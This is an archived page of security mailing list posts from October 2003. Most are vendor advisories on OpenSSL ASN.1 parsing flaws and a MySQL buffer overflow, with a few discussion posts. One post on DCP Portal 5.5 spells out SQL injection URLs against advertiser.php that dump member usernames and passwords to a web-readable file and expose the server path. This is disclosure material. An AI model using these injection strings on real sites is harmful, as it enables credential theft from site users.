headers
Daniel Ahlberg | 1 Oct 2003 16:48
Picon
Favicon

GLSA: openssl (200309-19)


---------------------------------------------------------------------
GENTOO LINUX SECURITY ANNOUNCEMENT 200309-19
---------------------------------------------------------------------

          PACKAGE : openssl
          SUMMARY : vulnerabilities in ASN.1 parsing
             DATE : 2003-10-01 14:48 UTC
          EXPLOIT : remote
     GENTOO BUG # : 30001
              CVE : CAN-2003-0545 CAN-2003-0543 CAN-2003-0544

---------------------------------------------------------------------

DESCRIPTION

quote from OpenSSL advisory:

"1. Certain ASN.1 encodings that are rejected as invalid by the parser
can trigger a bug in the deallocation of the corresponding data
structure, corrupting the stack. This can be used as a denial of service
attack. It is currently unknown whether this can be exploited to run
malicious code. This issue does not affect OpenSSL 0.9.6.

2. Unusual ASN.1 tag values can cause an out of bounds read under
certain circumstances, resulting in a denial of service vulnerability.

3. A malformed public key in a certificate will crash the verify code if
it is set to ignore public key decoding errors. Public key decode errors
are not normally ignored, except for debugging purposes, so this is
(Continue reading)

Permalink | Reply | 0 comments |
headers
Sebastian Krahmer | 1 Oct 2003 13:53
Picon

SuSE Security Announcement: mysql (SuSE-SA:2003:042)


______________________________________________________________________________

                        SuSE Security Announcement

        Package:                mysql
        Announcement-ID:        SuSE-SA:2003:042
        Date:                   Wed Oct  1 12:12:38 CEST 2003
        Affected products:      7.2, 7.3, 8.0, 8.1, 8.2
                                SuSE Linux Connectivity Server
                                SuSE Linux Enterprise Server 7, 8
                                SuSE Linux Office Server
                                UnitedLinux 1.0
        Vulnerability Type:     remote code execution
        Severity (1-10):        5
        SuSE default package:   no
        Cross References:       -

    Content of this advisory:
        1) security vulnerability resolved: Buffer overflow in mysql.
           problem description, discussion, solution and upgrade information
        2) pending vulnerabilities, solutions, workarounds:
            - OpenSSL
        3) standard appendix (further information)

______________________________________________________________________________

1)  problem description, brief discussion, solution, upgrade information

    A remotely exploitable buffer overflow within the authentication code
(Continue reading)

Permalink | Reply | 0 comments |
headers
debian-security-announce | 1 Oct 2003 12:43
Picon
Favicon

[Full-Disclosure] [SECURITY] [DSA-393-1] New OpenSSL packages correct denial of service issues


--------------------------------------------------------------------------
Debian Security Advisory DSA 393-1                     security <at> debian.org
http://www.debian.org/security/                              Michael Stone
October 1, 2003                         http://www.debian.org/security/faq
--------------------------------------------------------------------------

Package        : openssl
Vulnerability  : denial of service
Problem-Type   : remote
Debian-specific: no
CVE Ids        : CAN-2003-0543 CAN-2003-0544

Dr. Stephen Henson (steve <at> openssl.org), using a test suite provided by
NISCC (www.niscc.gov.uk), discovered a number of errors in the OpenSSL
ASN1 code.  Combined with an error that causes the OpenSSL code to parse
client certificates even when it should not, these errors can cause a
denial of service (DoS) condition on a system using the OpenSSL code, 
depending on how that code is used. For example, even though apache-ssl
and ssh link to OpenSSL libraries, they should not be affected by this
vulnerability. However, other SSL-enabled applications may be
vulnerable and an OpenSSL upgrade is recommended.

For the current stable distribution (woody) these problems have been
fixed in version 0.9.6c-2.woody.4

For the unstable distribution (sid) these problems have been fixed in
version 0.9.7c-1

We recommend that you update your openssl package. Note that you will
(Continue reading)

Permalink | Reply | 0 comments |
headers
Mandrake Linux Security Team | 1 Oct 2003 07:16

MDKSA-2003:098 - Updated openssl packages fix vulnerabilities


________________________________________________________________________

                Mandrake Linux Security Update Advisory
________________________________________________________________________

Package name:           openssl
Advisory ID:            MDKSA-2003:098
Date:                   September 30th, 2003

Affected versions:	8.2, 9.0, 9.1, 9.2, Corporate Server 2.1,
			Multi Network Firewall 8.2
________________________________________________________________________

Problem Description:

 Two bugs were discovered in OpenSSL 0.9.6 and 0.9.7 by NISCC. The
 parsing of unusual ASN.1 tag values can cause OpenSSL to crash, which
 could be triggered by a remote attacker by sending a carefully-crafted
 SSL client certificate to an application.  Depending upon the
 application targetted, the effects seen will vary; in some cases a DoS
 (Denial of Service) could be performed, in others nothing noticeable
 or adverse may happen.  These two vulnerabilities have been assigned
 CAN-2003-0543 and CAN-2003-0544.

 Additionally, NISCC discovered a third bug in OpenSSL 0.9.7.  Certain
 ASN.1 encodings that are rejected as invalid by the parser can trigger
 a bug in deallocation of a structure, leading to a double free.  This
 can be triggered by a remote attacker by sending a carefully-crafted
 SSL client certificate to an application.  This vulnerability may be
(Continue reading)

Permalink | Reply | 0 comments |
headers
Slackware Security Team | 1 Oct 2003 07:48
Favicon

[slackware-security] OpenSSL security update (SSA:2003-273-01)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[slackware-security]  OpenSSL security update (SSA:2003-273-01)

Upgraded OpenSSL packages are available for Slackware 8.1, 9.0,
9.1, and -current.  These fix problems with ASN.1 parsing which
could lead to a denial of service.  It is not known whether the
problems could lead to the running of malicious code on the
server, but it has not been ruled out.

We recommend sites that use OpenSSL upgrade to the fixed packages
right away.

Here are the details from the Slackware 9.1 ChangeLog:
+--------------------------+
Tue Sep 30 16:16:35 PDT 2003
patches/packages/openssl-0.9.7c-i486-1.tgz:  Upgraded to OpenSSL 0.9.7c.
patches/packages/openssl-solibs-0.9.7c-i486-1.tgz:  Upgraded to OpenSSL 0.9.7c.
  This update fixes problems with OpenSSL's ASN.1 parsing which could lead to
  a denial of service.  It is not known whether the problems could lead to the
  running of malicious code on the server, but it has not been ruled out.
  For detailed information, see OpenSSL's security advisory:
    http://www.openssl.org/news/secadv_20030930.txt
  We recommend sites that use OpenSSL upgrade to the fixed packages right away.
  (* Security fix *)
+--------------------------+

WHERE TO FIND THE NEW PACKAGES:
(Continue reading)

Permalink | Reply | 0 comments |
headers
Cisco Systems Product Security Incident Response Team | 1 Oct 2003 02:41
Picon
Favicon

Cisco Security Advisory: SSL Implementation Vulnerabilities


          Cisco Security Advisory: SSL Implementation Vulnerabilities

Revision 1.0

  For Public Release 2003 September 30 at 2330 GMT

     ----------------------------------------------------------------------

Contents

     Summary
     Affected Products
     Details
     Impact
     Software Versions and Fixes
     Obtaining Fixed Software
     Workarounds
     Exploitation and Public Announcements
     Status of This Notice: INTERIM
     Distribution
     Revision History
     Cisco Security Procedures

     ----------------------------------------------------------------------

Summary

   New vulnerabilities in the OpenSSL implementation for SSL
   have been announced.
(Continue reading)

Permalink | Reply | 0 comments |
headers
Lifo Fifo | 1 Oct 2003 14:08
Picon
Favicon

DCP Portal - 5.5 holes


Never use this product if you have turned off magic_quotes_gpc. And this product won't work anyway if you
have turned off register_globals.

All the files in the product, dont check for integrity of variables. You can easily exploit this using some
SQL Injection techniques. For example, if you want to get username/password of all the users, you can
exploit advertiser.php. 

Open it like,

http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select
uid,name,password,surname,job,email from dcp5_members into outfile 'c:/apache2/htdocs/dcpad.txt

This is for windows, if web-server is running on *nix, then you could enter something like,

http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select
uid,name,password,surname,job,email from dcp5_members into outfile '/var/www/html/dcpad.txt

In this cases, you will need to enter the absolute path. For that, run the follwing

http://localhost/dcp/advertiser.php?adv_logged=1&username=1&password=' and that will show the
path to the sever if they have turned on display_errors in php.ini.

That's all ! Notice that here we are using UNION function in query. For that, the host should be running
version MySQL 4.x. Well, if it's not running 4.x, No problem, we have another file !

This time it's lostpassword.php.

Open it like,
(Continue reading)

Permalink | Reply | 0 comments |
headers
steve | 1 Oct 2003 10:06

Re: Local stackbased overflow found for silly Poker v0.25.5 (advisory + poc exploit)

On Wed, Oct 01, 2003 at 12:08:27AM +0200, demz wrote:

> Local stackbased overflow found in sill Poker v0.25.5
> silly Poker contains an $HOME environment variable stack overflow,
> this can be exploited very simple to execute arbitrary code with gid=games
> privileges.

  I reported this bug to the sillypoker mainter 12 days ago as you can
 see here:

 	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=211611

  However your analysis is incorrect, sillypoker isn't installed
 setgid(games) upon either the Debian Stable or the Debian Unstable
 distribution.

Steve
--
Permalink | Reply | 0 comments |
headers
dhtml | 1 Oct 2003 16:54

NINCOMPOOPERY OF MICROSOFT

"Hackers are criminals" Most, he notes, release their malicious code
after patches for Microsoft software have been released, meaning that
they are simply reverse engineering to exploit security weaknesses or
holes in software. - Microsoft CEO Steve Ballmer 

'ninkum`poop [n]  a stupid foolish person See Also: simple, simpleton

Microsoft has claimed that the majority of the security bugs reported
by the company’s software users have been traced back to the code provided
by the third party software vendors

Almost 90 per cent of the problems, that are reported by the users as
part of our automated feedback system, come from the code that is not
provided by Microsoft.” - Chief Technology Officer Craig Mundie 

http://www.internetwk.com/breakingNews/showArticle.jhtml?articleID=15200897

http://www.financialexpress.com/fe_full_story.php?content_id=43039

BG

Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
https://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427
(Continue reading)

Permalink | Reply | 8 comments |
headers
Thomas Biege | 1 Oct 2003 19:19
Picon

SuSE Security Announcement: openssl (SuSE-SA:2003:043)


______________________________________________________________________________

                        SuSE Security Announcement

        Package:                openssl
        Announcement-ID:        SuSE-SA:2003:043
        Date:                   Wednesday, Oct 1st 2003 16:12 MET
        Affected products:      7.2, 7.3, 8.0, 8.1, 8.2, 9.0
                                SuSE Linux Database Server,
                                SuSE eMail Server III, 3.1
                                SuSE Linux Enterprise Server 7/8,
                                SuSE Linux Firewall on CD/Admin host
                                SuSE Linux Connectivity Server
                                SuSE Linux Office Server
        Vulnerability Type:     remote denial-of-service
        Severity (1-10):        5
        SuSE default package:   yes
        Cross References:       CAN-2003-0543
                                CAN-2003-0544
                                CAN-2003-0545

    Content of this advisory:
        1) security vulnerability resolved:
            - problems with ASN.1 encoding
            - accepting client certificates even if disabled
           problem description, discussion, solution and upgrade information
        2) pending vulnerabilities, solutions, workarounds:
            - whois
            - gdm2
(Continue reading)

Permalink | Reply | 0 comments |

Gmane